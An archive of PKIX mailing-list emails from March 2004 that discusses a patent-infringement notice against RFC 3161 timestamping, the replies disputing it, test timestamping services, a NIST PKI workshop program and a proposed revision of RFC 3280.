> control of any access to any data, or data in any record structure,
> such use may be in violation of these globally issued patents.
> 
> Obviously, in instances where such violation is evident, we 
> will take swift
> legal steps to protect our patent(s) while preventing any further
> unauthorized use. This would include any violations and 
> damages resulting
> from all those responsible, even National Governments using 
> RFC3161 for
> commercial and audit purposes (including the EU and its 
> member States).
> 
> Please feel free to have the IETF's or IESG's or any other appropriate
> attorney (or Developers wishing to avoid the legal complications of an
> authorized use) contact me regarding this matter for my point 
> of service so
> appropriate licensing can be arranged to protect these 
> patents against such
> infringement involving those Developer's Application Systems .
> 
> Todd Glassey
> Patent Rights Owner and Inventor -US 6370629
> 

Content-class: urn:content-classes:message
Subject: RE: Legal Notice on RFC3161 Uses and  their possible infringement against Glassey/Mcneil  Patents(et al).
Date: Fri, 26 Mar 2004 02:38:03 +0200
From: "Vainikainen Saku EINT" <[email-masked]>
To: "Stephen Kent" <[email-masked]>, <[email-masked]>
Sender: [email-masked]

This is a multi-part message in MIME format.

------=_NextPart_000_0041_01C412DB.57698F10
Content-Type: multipart/mixed;
	boundary="----=_NextPart_001_0042_01C412DB.57698F10"

------=_NextPart_001_0042_01C412DB.57698F10
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Hello all!

Here's some more details on the patent:

http://swpat.ffii.org/pikta/txt/ep/0997/808/

Rgrds,
Saku Vainikainen
PKI Specialist

Elisa Corporation
Products / Identity Management
FINLAND

> [mailto:[email-masked]] On Behalf Of Stephen Kent
> Sent: Friday, March 26, 2004 12:21 AM
> To: [email-masked]
> Subject: Re: Legal Notice on RFC3161 Uses and their possible 
> infringement against Glassey/Mcneil Patents(et al).
> 
> Folks,
> 
> Attached is the abstract for Todd's latest patent in this 
> area, which he alluded to in his posting to this list.
> 
> Since RFC 3161 makes no mention of using time stamp info for 
> access control, the likelihood of this RFC infringing seems 
> questionable to me, but that, of course is not a legal opinion.
> 
> If Todd wanted to follow established IETF procedure, as per 
> RFC 2606 he should have sent this message to 
> [email-masked]. In fact Todd did post such a message for 
> his previous IPR assertions in this general area, but maybe 
> he didn't feel that such posting had sufficient dramatic effect.
> 
> Steve
> -------
> 
> 
> 
> Controlling access to stored information based on 
> geographical location and  date and time
> 
> Abstract
> 
> Access to stored information by a user is controlled by 
> comparing an actual  geographic position and/or an actual 
> date/time with a geographic region  and/or a date/time 
> interval within which access to the stored information  is 
> authorized. The actual geographic position where the stored 
> information  is located, and the actual date/time can be 
> determined, for example, based  on signals received at a 
> receiver supplying reliable position and time  information, 
> such as a GPS receiver. Access to the stored information is  
> authorized if the actual geographic position and/or date/time 
> falls within  the authorized geographic region and/or 
> date/time interval. The position  and date/time information 
> supplied by the receiver may be  cryptographically signed and 
> encrypted.
> 

------=_NextPart_001_0042_01C412DB.57698F10
Content-Type: text/x-vcard;
	name="Vainikainen Saku EINT.vcf"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="Vainikainen Saku EINT.vcf"

BEGIN:VCARD
VERSION:2.1
N:Vainikainen;Saku
FN:Saku Vainikainen
ORG:Elisa Corporation;Products / Identity Management
TITLE:PKI Specialist
TEL;WORK;VOICE:+358 1026 26126
TEL;CELL;VOICE:+358 50 309 6841
ADR;WORK:;S=D6 B 2100;PO BOX 200;ELISA;;00061;Finland
LABEL;WORK;ENCODING=3DQUOTED-PRINTABLE:S=3DD6 B 2100=3D0D=3D0APO BOX =
200=3D0D=3D0AELISA 00061=3D0D=3D0AFinland
URL;WORK:http://www.elisa.com
KEY;X509;ENCODING=3DBASE64:
    =
MIIEdjCCA16gAwIBAgICTwAwDQYJKoZIhvcNAQEFBQAwUjELMAkGA1UEBhMCRkkxGjAYBgNV
    =
BAoUEUVsaXNhIEludGVybmV0IE95MScwJQYDVQQDFB5FQyBFbGlzYSBJbnRlcm5ldCBPeSBQ
    =
ZW9wbGUgQ0EwHhcNMDMwNTIwMDcxMzIwWhcNMDYwNTIwMDcxMzIwWjCBkzELMAkGA1UEBhMC
    =
RkkxGjAYBgNVBAoUEUVsaXNhIEludGVybmV0IE95MS0wKwYDVQQDFCRWYWluaWthaW5lbiBT
    =
YWt1IE8gRWxpc2EgSW50ZXJuZXQgT3kxOTAIBgNVBCsUAU8wCwYDVQQqFARTYWt1MAwGA1UE
    =
BRMFMTk2MzUwEgYDVQQEFAtWYWluaWthaW5lbjCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkC
    =
gYEAy8g1zIGUjHEVx1pSkYooPVRsvSEbC22PdG8w03NFNg+C5mZUOR+XC3J6CH15ntZZ7D/D
    =
NV4U6VSZCrGnv8ffwVWfDT2N7QOJXwCUkF3cs44KUr/sxv5d+XgyolqRk8IqMGe/41zhTbbl
    =
wjWtu6VCXHXCA0kOHM4BVh/JeWSP9o8CAwEAAaOCAZYwggGSME8GA1UdEQRIMEagKQYKKwYB
    =
BAGCNxQCA6AbDBlzYWt1LnZhaW5pa2FpbmVuQGVsaXNhLmZpgRlzYWt1LnZhaW5pa2FpbmVu
    =
QGVsaXNhLmZpMB0GA1UdJQQWMBQGCCsGAQUFBwMEBggrBgEFBQgCAjATBgNVHSMEDDAKgAhD
    =
CDKVkyWtojAYBgNVHSAEETAPMA0GCyqBdoIVAQsBAQQCMIGnBgNVHR8EgZ8wgZwwgZmggZag
    =
gZOGgZBsZGFwOi8vbGRhcC5lbGlzYS5wa2kua29sdW1idXMuZmk6Mzg5L2NuPUVDIEVsaXNh
    =
IEludGVybmV0IE95IFBlb3BsZSBDQSxvdT1jZXJ0cyxvdT1jZXJ0bWFuLG89c2VydmljZXMs
    =
ZGM9ZWxpc2E/Y2VydGlmaWNhdGVSZXZvY2F0aW9uTGlzdDtiaW5hcnkwEQYDVR0OBAoECER0
    =
R3YvvoGtMA4GA1UdDwEB/wQEAwIEMDAZBgYqhXAiAgEEDxMNMTAxMDAwNDAwNDAzMDAJBgNV
    =
HRMEAjAAMA0GCSqGSIb3DQEBBQUAA4IBAQBfKs8/QI1k6kIf+RZrFTFonsyJL5qu+vULVKiy
    =
xKq+4z+a6tve2xmR/xKMxwF2g1GSzlthHKEDjdleysJ0/ZtUqsP/9ZEb/kFLY75ChQCCRP9p
    =
ZskLwotoG4tSMqexmZqvHYpV1V8yXQCco2jDc9wdqXVvdhrb23HKqg7XLfyjqRMA6RwoG3cP
    =
e9oOFsE7oPs+7OKBIpxHqWqh5Mwu2RX1HifiLh0JfH0rA+l0F6DYbLlwCs7BF/rPyh3rqedq
    =
TyvVnQs6yx4zIVz1uUAYD8f6UzafzyHm5YKY/KwgWZ9bNShDNa/uUamqusMSD/447sXIoMjO
    GH8EEJ8bB3Rrz5Uq

EMAIL;PREF;INTERNET:[email-masked]
REV:20040121T122653Z
END:VCARD

------=_NextPart_001_0042_01C412DB.57698F10--

------=_NextPart_000_0041_01C412DB.57698F10
Content-Type: application/x-pkcs7-signature;
	name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="smime.p7s"

KcTAAAAAAAAA

------=_NextPart_000_0041_01C412DB.57698F10--

Content-class: urn:content-classes:message
Subject: RE: Legal Notice on RFC3161 Uses and  their possible infringement against Glassey/Mcneil  Patents(et al).
Date: Fri, 26 Mar 2004 01:31:10 +0200
From: "Vainikainen Saku EINT" <[email-masked]>
To: <[email-masked]>, <[email-masked]>
Cc: "todd glassey" <[email-masked]>
Sender: [email-masked]

This is a multi-part message in MIME format.

------=_NextPart_000_0011_01C412D1.FEA2BF40
Content-Type: multipart/mixed;
	boundary="----=_NextPart_001_0012_01C412D1.FEA2BF40"

------=_NextPart_001_0012_01C412D1.FEA2BF40
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Good discussion on patenting "computer-implemented inventions" here in
Europe:

http://europa.eu.int/comm/internal_market/en/indprop/comp/index.htm

Rgrds,
Saku Vainikainen
PKI Specialist

Elisa Corporation
Products / Identity Management
FINLAND

> [mailto:[email-masked]] On Behalf Of todd glassey
> Sent: Thursday, March 25, 2004 11:29 PM
> To: [email-masked]; [email-masked]
> Subject: Legal Notice on RFC3161 Uses and their possible 
> infringement against Glassey/Mcneil Patents(et al).
> 
> 
> Lets talk about legal stuff for a minute... and I don't 
> really need anyone
> to respond to this unless they want to do so with my lawyers.
> 
> ---------------------------------------------------
> 
> Be advised that I am claiming there is an unauthorized 
> identified use of
> RFC3161 that appears to violate parts of the Glassey/McNeil 
> Timestamping
> patent ("Controlling Access to Stored Information" - US 6370629 and EP
> 0997808, et al).  As such, I am formally putting the 
> IETF/IESG on notice
> thereof.
> 
> Further, these same uses may also violate any number of other 
> "Receipt"
> patents issued (including, but not limited to, the original 
> Fisher and Haber
> patents; those of others in the Time Management and in the XML
> Receipt Business), as well as other patents still in the works.
> 
> In light of this notification, please be aware that it is the 
> responsibility
> of the developers to do proper diligence prior to releasing 
> commercial or
> free services using RFC3161 as its base.
> 
> Be advised that we are currently very concerned. If any such RFC3161
> application is used for evidentiary purposes or if it is used 
> to enable
> control of any access to any data, or data in any record structure,
> such use may be in violation of these globally issued patents.
> 
> Obviously, in instances where such violation is evident, we 
> will take swift
> legal steps to protect our patent(s) while preventing any further
> unauthorized use. This would include any violations and 
> damages resulting
> from all those responsible, even National Governments using 
> RFC3161 for
> commercial and audit purposes (including the EU and its 
> member States).
> 
> Please feel free to have the IETF's or IESG's or any other appropriate
> attorney (or Developers wishing to avoid the legal complications of an
> authorized use) contact me regarding this matter for my point 
> of service so
> appropriate licensing can be arranged to protect these 
> patents against such
> infringement involving those Developer's Application Systems .
> 
> Todd Glassey
> Patent Rights Owner and Inventor -US 6370629
> 
> 

------=_NextPart_001_0012_01C412D1.FEA2BF40
Content-Type: text/x-vcard;
	name="Vainikainen Saku EINT.vcf"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="Vainikainen Saku EINT.vcf"

BEGIN:VCARD
VERSION:2.1
N:Vainikainen;Saku
FN:Saku Vainikainen
ORG:Elisa Corporation;Products / Identity Management
TITLE:PKI Specialist
TEL;WORK;VOICE:+358 1026 26126
TEL;CELL;VOICE:+358 50 309 6841
ADR;WORK:;S=D6 B 2100;PO BOX 200;ELISA;;00061;Finland
LABEL;WORK;ENCODING=3DQUOTED-PRINTABLE:S=3DD6 B 2100=3D0D=3D0APO BOX =
200=3D0D=3D0AELISA 00061=3D0D=3D0AFinland
URL;WORK:http://www.elisa.com
KEY;X509;ENCODING=3DBASE64:
    =
MIIEdjCCA16gAwIBAgICTwAwDQYJKoZIhvcNAQEFBQAwUjELMAkGA1UEBhMCRkkxGjAYBgNV
    =
BAoUEUVsaXNhIEludGVybmV0IE95MScwJQYDVQQDFB5FQyBFbGlzYSBJbnRlcm5ldCBPeSBQ
    =
ZW9wbGUgQ0EwHhcNMDMwNTIwMDcxMzIwWhcNMDYwNTIwMDcxMzIwWjCBkzELMAkGA1UEBhMC
    =
RkkxGjAYBgNVBAoUEUVsaXNhIEludGVybmV0IE95MS0wKwYDVQQDFCRWYWluaWthaW5lbiBT
    =
YWt1IE8gRWxpc2EgSW50ZXJuZXQgT3kxOTAIBgNVBCsUAU8wCwYDVQQqFARTYWt1MAwGA1UE
    =
BRMFMTk2MzUwEgYDVQQEFAtWYWluaWthaW5lbjCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkC
    =
gYEAy8g1zIGUjHEVx1pSkYooPVRsvSEbC22PdG8w03NFNg+C5mZUOR+XC3J6CH15ntZZ7D/D
    =
NV4U6VSZCrGnv8ffwVWfDT2N7QOJXwCUkF3cs44KUr/sxv5d+XgyolqRk8IqMGe/41zhTbbl
    =
wjWtu6VCXHXCA0kOHM4BVh/JeWSP9o8CAwEAAaOCAZYwggGSME8GA1UdEQRIMEagKQYKKwYB
    =
BAGCNxQCA6AbDBlzYWt1LnZhaW5pa2FpbmVuQGVsaXNhLmZpgRlzYWt1LnZhaW5pa2FpbmVu
    =
QGVsaXNhLmZpMB0GA1UdJQQWMBQGCCsGAQUFBwMEBggrBgEFBQgCAjATBgNVHSMEDDAKgAhD
    =
CDKVkyWtojAYBgNVHSAEETAPMA0GCyqBdoIVAQsBAQQCMIGnBgNVHR8EgZ8wgZwwgZmggZag
    =
gZOGgZBsZGFwOi8vbGRhcC5lbGlzYS5wa2kua29sdW1idXMuZmk6Mzg5L2NuPUVDIEVsaXNh
    =
IEludGVybmV0IE95IFBlb3BsZSBDQSxvdT1jZXJ0cyxvdT1jZXJ0bWFuLG89c2VydmljZXMs
    =
ZGM9ZWxpc2E/Y2VydGlmaWNhdGVSZXZvY2F0aW9uTGlzdDtiaW5hcnkwEQYDVR0OBAoECER0
    =
R3YvvoGtMA4GA1UdDwEB/wQEAwIEMDAZBgYqhXAiAgEEDxMNMTAxMDAwNDAwNDAzMDAJBgNV
    =
HRMEAjAAMA0GCSqGSIb3DQEBBQUAA4IBAQBfKs8/QI1k6kIf+RZrFTFonsyJL5qu+vULVKiy
    =
xKq+4z+a6tve2xmR/xKMxwF2g1GSzlthHKEDjdleysJ0/ZtUqsP/9ZEb/kFLY75ChQCCRP9p
    =
ZskLwotoG4tSMqexmZqvHYpV1V8yXQCco2jDc9wdqXVvdhrb23HKqg7XLfyjqRMA6RwoG3cP
    =
e9oOFsE7oPs+7OKBIpxHqWqh5Mwu2RX1HifiLh0JfH0rA+l0F6DYbLlwCs7BF/rPyh3rqedq
    =
TyvVnQs6yx4zIVz1uUAYD8f6UzafzyHm5YKY/KwgWZ9bNShDNa/uUamqusMSD/447sXIoMjO
    GH8EEJ8bB3Rrz5Uq

EMAIL;PREF;INTERNET:[email-masked]
REV:20040121T122653Z
END:VCARD

------=_NextPart_001_0012_01C412D1.FEA2BF40--

------=_NextPart_000_0011_01C412D1.FEA2BF40
Content-Type: application/x-pkcs7-signature;
	name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="smime.p7s"

------=_NextPart_000_0011_01C412D1.FEA2BF40--

Date: Thu, 25 Mar 2004 18:30:49 -0500
From: Yassir Elley <[email-masked]>
Subject: [Fwd: April 12-14: 3rd Annual PKI R&D Workshop]
To: [email-masked], [email-masked], [email-masked]
Reply-to: [email-masked]
Organization: Sun Microsystems Inc. - BDC
Sender: [email-masked]

FYI

-------- Original Message --------
Subject: April 12-14: 3rd Annual PKI R&D Workshop
Date: Thu, 25 Mar 2004 14:39:30 -0700
From: Neal McBurnett <[email-masked]>
To: Attendees of Annual PKI Research Workshops <[email-masked]>

The 3rd Annual PKI R&D Workshop is almost here: April 12-14 2004
at NIST in Gaithersburg, MD.  Registrations should be in by
Monday March 29.

The program features a broad variety of perspectives, results and new
ideas on the use of Public Key technology for security decision
making, not just traditional "PKI".  There are talks and panel
sessions on the dynamic delegation of rights, application-specific PKI
designs, document signatures, certificate path discovery, experience
papers and panels on where to go from here.

Speakers include Peter Gutmann, Carlisle Adams, Stefan Brands, Ken
Klingenstein, John Linn, Tim Polk, Von Welch and many other experts.
The intimate workshop atmosphere provides ample opportunities to
interact with others working on the issues you're facing, including
Work-In-Progress and Birds-of-a-Feather sessions.

802.11b Wireless access points will be available for SSH, IPSEC, HTTP,
DNS, FTP, POP, IMAP, and SMTP connectivity.  At only $105 for
registration, it's a bargain.

More information is at
 http://middleware.internet2.edu/pki04/ 

Neal McBurnett                 http://bcn.boulder.co.us/~neal/
Signed and/or sealed mail encouraged.  GPG/PGP Keyid: 2C9EBA60

--------

Preliminary Program - Subject to change

Monday, April 12

12:00 - 12:15
Opening Remarks
Program Committee
Susan Zevin Director, Information Technology Laboratory, NIST

12:15 - 1:15
KEYNOTE ADDRESS
Non-Intrusive Cross-Domain Identity Management
Stefan Brands Credentica

2:00 - 3:30
Role Sharing in Password-Enabled PKI
Xunhua Wang James Madison University

Greenpass: Decentralized, PKI-based Authorization for Wireless LANs
Nicholas C. Goffee Dartmouth College

X.509 Proxy Certificates for Dynamic Delegation
Von Welch National Center for Supercomputing Applications, University
of Illinois

4:00 - 5:30
Panel: Controlled and Dynamic Delegation of Rights
Moderator: Frank Siebenlist Argonne National Laboratory

6:15 - 8:00
Social Gathering and Workshop Dinner
Gaithersburg Holiday Inn

8:00 - 9:00
Work in Progress Session
Gaithersburg Holiday Inn
Contact Krishna Sankar if you would like to present some Work in
Progress

Tuesday, April 13

9:00 - 10:00
KEYNOTE ADDRESS
Simple, Straightforward, Functional PKI
Peter Gutmann University of Auckland

10:00 - 10:30
Experiences of establishing trust in a distributed system operated by
mutually distrusting parties
David Chadwick University of Salford

11:00 - 12:00
Panel: An update on Phase Three of the PKI Interop Project with
EDUCAUSE
Moderator: Peter Alterman National Institutes of Health

Deb Blanchard Digital Signature Trust
Russ Weiser Betrusted

12:00 - 12:30
Trusted Archiving
Santosh Chokhani Orion Security Solutions

12:30 - 2:00: Lunch - NIST Cafeteria

2:00 - 3:00
Panel: Document Signatures
Moderator: Randy Sabett, Cooley Godward LLP & Tim Polk NIST

3:00 - 3:30
PKI: Ten Years Later
Carlisle Adams University of Ottawa

4:00 - 4:30
An Examination of Asserted PKI Issues and Proposed Alternatives
John Linn RSA Laboratories

4:30 - 5:30
Panel: Which PKI Approach for Which Application Domain?
Moderator: Peter Alterman National Institutes of Health

Carl Ellison Microsoft
Russ Weiser Betrusted

5:30 - 8:00: Dinner (on your own)

8:00 - 9:00
Birds of a Feather sessions - sign up at Registration

Wednesday, April 14

9:00 - 10:00
KEYNOTE ADDRESS
The Middleware Connection
Ken Klingenstein University of Colorado; Internet2

10:00 - 10:30
Private Revocation Test using Oblivious Membership Evaluation Protocol
Hiroaki Kikuchi Tokai University

11:00 - 11:30
"Dynamic Bridge" Concept Paper
Ken Stillson Mitretek Systems

11:30 - 12:30
Panel: Approaches to Certificate Path Discovery
Moderator: Peter Hesse Gemini Security Solutions

Steve Hanna Sun Microsystems
Matt Cooper Orion Security Solutions
Ken Stillson Mitretek Systems

12:30 - 2:00: Lunch - NIST Cafeteria

2:00 - 2:30
Johnson & Johnson Use of Public Key Technology
Rich Guida Johnson & Johnson

2:30 - 3:00
Identifying and Overcoming Obstacles to PKI Deployment and Usage
Jean Pawluk Inovant

3:30 - 4:30
Panel: The PKI Action Plan: Will it make a difference?
Moderator: Steve Hanna Sun Microsystems

Lieutenant Commander Thomas Winnenberg U.S.N., DISA
Jean Pawluk Inovant
Tim Polk NIST
John Linn RSA Laboratories
Sean Smith Dartmouth College

4:30 - 5:00
Wrapup Session

Date: Thu, 25 Mar 2004 14:57:49 -0800
From: Harald Tveit Alvestrand <[email-masked]>
To: todd glassey <[email-masked]>, [email-masked], [email-masked]
Subject: Re: Legal Notice on RFC3161 Uses and  their possible infringement against Glassey/Mcneil  Patents(et al).
Sender: [email-masked]

Todd,

to be perfectly clear: Is this the technology IPR that you disclosed to the 
IETF using the disclosure filed as 
<http://www.ietf.org/ietf/IPR/glassey-mcneil-datum-ipr-general.txt>, dated 
May 29, 2003, and no other?

Will you send in an updated IPR disclosure claiming specifically that you 
believe this IPR to be relevant to RFC 3161?

Standard Disclaimer: The IETF takes no position.......

                   Harald

--On 25. mars 2004 13:28 -0800 todd glassey <[email-masked]> 
wrote:

>
> Lets talk about legal stuff for a minute... and I don't really need anyone
> to respond to this unless they want to do so with my lawyers.

Date: Thu, 25 Mar 2004 17:20:42 -0500
To: [email-masked]
From: Stephen Kent <[email-masked]>
Subject: Re: Legal Notice on RFC3161 Uses and  their possible infringement against Glassey/Mcneil  Patents(et al).
Sender: [email-masked]

--============_-1131867147==_ma============
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Folks,

Attached is the abstract for Todd's latest patent in this area, which 
he alluded to in his posting to this list.

Since RFC 3161 makes no mention of using time stamp info for access 
control, the likelihood of this RFC infringing seems questionable to 
me, but that, of course is not a legal opinion.

If Todd wanted to follow established IETF procedure, as per RFC 2606 
he should have sent this message to [email-masked]. In fact Todd 
did post such a message for his previous IPR assertions in this 
general area, but maybe he didn't feel that such posting had 
sufficient dramatic effect.

Steve
-------

Controlling access to stored information based on geographical 
location and  date and time

Abstract

Access to stored information by a user is controlled by comparing an 
actual  geographic position and/or an actual date/time with a 
geographic region  and/or a date/time interval within which access to 
the stored information  is authorized. The actual geographic position 
where the stored information  is located, and the actual date/time 
can be determined, for example, based  on signals received at a 
receiver supplying reliable position and time  information, such as a 
GPS receiver. Access to the stored information is  authorized if the 
actual geographic position and/or date/time falls within  the 
authorized geographic region and/or date/time interval. The position 
and date/time information supplied by the receiver may be 
cryptographically signed and encrypted.
--============_-1131867147==_ma============
Content-Type: text/html; charset="us-ascii"

<!doctype html public "-//W3C//DTD W3 HTML//EN">
<html><head><style type="text/css"><!--
blockquote, dl, ul, ol, li { padding-top: 0 ; padding-bottom: 0 }
 --></style><title>Re: Legal Notice on RFC3161 Uses and  their
possible infri</title></head><body>
<div>Folks,</div>
<div><br></div>
<div>Attached is the abstract for Todd's latest patent in this area,
which he alluded to in his posting to this list.</div>
<div><br></div>
<div>Since RFC 3161 makes no mention of using time stamp info for
access control, the likelihood of this RFC infringing seems
questionable to me, but that, of course is not a legal opinion.</div>
<div><br></div>
<div>If Todd wanted to follow established IETF procedure, as per<font
color="#000000"> RFC 2606</font> he should have sent this message to
[email-masked]. In fact Todd did post such a message for his
previous IPR assertions in this general area, but maybe he didn't feel
that such posting had sufficient dramatic effect.</div>
<div><br></div>
<div>Steve</div>
<div>-------</div>
<div><br></div>
<div><font color="#000000"><br></font></div>
<div><font color="#000000">Controlling access to stored information
based on geographical location and&nbsp; date and time</font></div>
<div><font color="#000000"><br>
<b>Abstract</b></font><br>
<font color="#000000"><b></b></font></div>
<div><font color="#000000">Access to stored information by a user is
controlled by comparing an actual&nbsp; geographic position and/or an
actual date/time with a geographic region&nbsp; and/or a date/time
interval within which access to the stored information&nbsp; is
authorized. The actual geographic position where the stored
information&nbsp; is located, and the actual date/time can be
determined, for example, based&nbsp; on signals received at a receiver
supplying reliable position and time&nbsp; information, such as a GPS
receiver. Access to the stored information is&nbsp; authorized if the
actual geographic position and/or date/time falls within&nbsp; the
authorized geographic region and/or date/time interval. The position&nbsp;
and date/time information supplied by the receiver may be&nbsp;
cryptographically signed and encrypted.</font></div>
</body>
</html>
--============_-1131867147==_ma============--

From: "todd glassey" <[email-masked]>
To: <[email-masked]>, <[email-masked]>
Subject: Legal Notice on RFC3161 Uses and  their possible infringement against Glassey/Mcneil  Patents(et al).
Date: Thu, 25 Mar 2004 13:28:52 -0800
Sender: [email-masked]

Lets talk about legal stuff for a minute... and I don't really need anyone
to respond to this unless they want to do so with my lawyers.

---------------------------------------------------

Be advised that I am claiming there is an unauthorized identified use of
RFC3161 that appears to violate parts of the Glassey/McNeil Timestamping
patent ("Controlling Access to Stored Information" - US 6370629 and EP
0997808, et al).  As such, I am formally putting the IETF/IESG on notice
thereof.

Further, these same uses may also violate any number of other "Receipt"
patents issued (including, but not limited to, the original Fisher and Haber
patents; those of others in the Time Management and in the XML
Receipt Business), as well as other patents still in the works.

In light of this notification, please be aware that it is the responsibility
of the developers to do proper diligence prior to releasing commercial or
free services using RFC3161 as its base.

Be advised that we are currently very concerned. If any such RFC3161
application is used for evidentiary purposes or if it is used to enable
control of any access to any data, or data in any record structure,
such use may be in violation of these globally issued patents.

Obviously, in instances where such violation is evident, we will take swift
legal steps to protect our patent(s) while preventing any further
unauthorized use. This would include any violations and damages resulting
from all those responsible, even National Governments using RFC3161 for
commercial and audit purposes (including the EU and its member States).

Please feel free to have the IETF's or IESG's or any other appropriate
attorney (or Developers wishing to avoid the legal complications of an
authorized use) contact me regarding this matter for my point of service so
appropriate licensing can be arranged to protect these patents against such
infringement involving those Developer's Application Systems .

Todd Glassey
Patent Rights Owner and Inventor -US 6370629

Date: Thu, 25 Mar 2004 15:13:12 +0100
From: Joseph Doekbrijder <[email-masked]>
Organization: SwissSign AG
To: Massimiliano Farris <[email-masked]>
CC: "[email-masked]'" <[email-masked]>
Subject: Re: TSA for testing
Sender: [email-masked]

This is a cryptographically signed message in MIME format.

--------------ms040703060103090900000202
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 8bit

SwissSign has an RFC3161 conform timestamping service 
http://swisssign.net/tsa but due to the unclear patenting issue we have 
take it off-line and are merely showing the functionality, not the 
actual product. If you like to test something please contact me directly.
If anyone on this list has information of the patenting story of the 
RFC3161 please let me know...

Cheers

Josh

Massimiliano Farris wrote:

>  Hi all,
>
>  I'm making some tests with my TSP client,
>  but I cannot find any testing TSA online.
>  Can anyone tell me if there is one?
>  What happened to the standardisation process
>  of TSP (RFC3161)?
>  thanks in advance,
>                     Max
>
>--
>Massimiliano Farris
>Pubblica Amministrazione
>-------------------------------------
>SarasLab S.r.l.
>Tel.  +39 070 2466.3523
>Fax  +39 070 2466.3111
>e-mail: [email-masked]
>
>  
>

-- 
Joseph A. Doekbrijder
--------------------------------------------------
SwissSign AG
Löwenstrasse 1, CH-8001 Zürich
Tel: +41 43 344 88 11 / Mobile: +41 79 211 24 46
www.swisssign.com
--------------------------------------------------

This message has been digitally signed to ensure unaltered and 
authenticated reception. Should you receive an error message regarding 
the validity of the signature, please click and download the SwissSign 
root certificate using the following link  https://swisssign.net/trust/
After installation, your mail client will be able to automatically 
verify the authenticity of e-mail messages sent to you by users of 
SwissSign certificates.

--------------ms040703060103090900000202
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature

--------------ms040703060103090900000202--

From: "Wahaj" <[email-masked]>
To: "Massimiliano Farris" <[email-masked]>, <[email-masked]>
Subject: Re: TSA for testing
Date: Thu, 25 Mar 2004 17:46:03 +0500
Sender: [email-masked]

This is a multi-part message in MIME format.

------=_NextPart_000_0A09_01C41291.0AF2AAD0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Hi,

I will recommend Opentsa: http://www.opentsa.org/

Regards,
Wahaj
----- Original Message ----- 
From: "Massimiliano Farris" <[email-masked]>
To: <[email-masked]>
Sent: Thursday, March 25, 2004 3:27 PM
Subject: TSA for testing

> 
> 
>   Hi all,
> 
>   I'm making some tests with my TSP client,
>   but I cannot find any testing TSA online.
>   Can anyone tell me if there is one?
>   What happened to the standardisation process
>   of TSP (RFC3161)?
>   thanks in advance,
>                      Max
> 
> --
> Massimiliano Farris
> Pubblica Amministrazione
> -------------------------------------
> SarasLab S.r.l.
> Tel.  +39 070 2466.3523
> Fax  +39 070 2466.3111
> e-mail: [email-masked]
> 
------=_NextPart_000_0A09_01C41291.0AF2AAD0
Content-Type: application/x-pkcs7-signature;
	name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="smime.p7s"

------=_NextPart_000_0A09_01C41291.0AF2AAD0--

Date: Thu, 25 Mar 2004 12:42:27 +0100
From: Denis Pinkas <[email-masked]>
Organization: Bull SA.
To: Steve Hanna <[email-masked]>
CC: PKIX List <[email-masked]>
Subject: Re: Successor to RFC 3280?
Sender: [email-masked]

> I have heard some folks say that we should have
> a successor to RFC 3280 (and 3279) and some folks
> say that we shouldn't. I'd like to raise this topic
> for discussion on the PKIX list to settle this matter.

> I believe that an update to RFC 3280 is necessary
> for two reasons. First, some minor problems have
> been found during implementation and deployment
> (mostly typos and clarifications). These should
> be fixed so that future implementors don't have
> to suffer through them. Second, we are almost ready
> for RFC 3280 to progress to Draft Standard status.
> In order to do this, it must be revised. So I
> believe that an update to RFC 3280 (and 3279)
> should be undertaken.

There is a third reason:

ISO has modified last week the text on key usage and we should align 
son-of-RFC3280 with it.

Denis

> HOWEVER, I think it is essential for us to limit
> the scope of this update. We should not add features
> to the spec or make substantial changes, especially
> changes that would break compatibility with RFC 3280.
> The scope of the update should be limited to
> "clarifying and correcting the document in light
> of implementation experience".
> 
> That's my perspective on this important matter.
> I would like to hear other perspectives and
> opinions so that we can arrive at a rough working
> group consensus on this.
> 
> Thanks,
> 
> Steve
> 
> P.S. I have a list of typos and clarifications
> that need to be fixed in the next version of
> RFC 3280. If we decide to proceed with a revision,
> I'll forward it to the editor and cc the PKIX list.

Date: Thu, 25 Mar 2004 12:34:31 +0100 (MET)
From: Peter Sylvester <[email-masked]>
To: [email-masked]
Subject: Re: TSA for testing
Sender: [email-masked]

>   I'm making some tests with my TSP client,
>   but I cannot find any testing TSA online.
>   Can anyone tell me if there is one?
Yes. 

   http://timestamping.edelweb.fr

online since October 2000

From: Massimiliano Farris <[email-masked]>
To: "[email-masked]'" <[email-masked]>
Subject: TSA for testing
Date: Thu, 25 Mar 2004 11:27:02 +0100
Sender: [email-masked]

  Hi all,

  I'm making some tests with my TSP client,
  but I cannot find any testing TSA online.
  Can anyone tell me if there is one?
  What happened to the standardisation process
  of TSP (RFC3161)?
  thanks in advance,
                     Max

--
Massimiliano Farris
Pubblica Amministrazione
-------------------------------------
SarasLab S.r.l.
Tel.  +39 070 2466.3523
Fax  +39 070 2466.3111
e-mail: [email-masked]

Date: Wed, 24 Mar 2004 17:22:00 -0500
From: Steve Hanna <[email-masked]>
Subject: Successor to RFC 3280?
To: PKIX List <[email-masked]>
Sender: [email-masked]

This is a cryptographically signed message in MIME format.

--------------ms68921DF702FFA7D326A3496E
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

I have heard some folks say that we should have
a successor to RFC 3280 (and 3279) and some folks
say that we shouldn't. I'd like to raise this topic
for discussion on the PKIX list to settle this matter.

I believe that an update to RFC 3280 is necessary
for two reasons. First, some minor problems have
been found during implementation and deployment
(mostly typos and clarifications). These should
be fixed so that future implementors don't have
to suffer through them. Second, we are almost ready
for RFC 3280 to progress to Draft Standard status.
In order to do this, it must be revised. So I
believe that an update to RFC 3280 (and 3279)
